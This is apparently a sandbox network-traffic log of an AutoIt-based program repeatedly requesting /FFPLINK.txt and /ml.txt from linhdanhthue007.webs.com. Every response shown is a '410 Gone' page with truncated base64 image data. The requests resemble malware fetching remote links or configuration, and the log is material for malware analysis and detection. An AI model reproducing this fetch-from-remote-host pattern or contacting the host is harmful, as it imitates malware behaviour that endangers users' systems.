Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:15 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:48 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:49 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:25 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /ml.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache


HTTP/1.1 410 Gone
Set-Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b; Path=/
Content-Type: text/html
Date: Mon, 05 May 2014 21:05:52 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmN..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:45 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:27 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:02 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:39 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:34 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:17 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
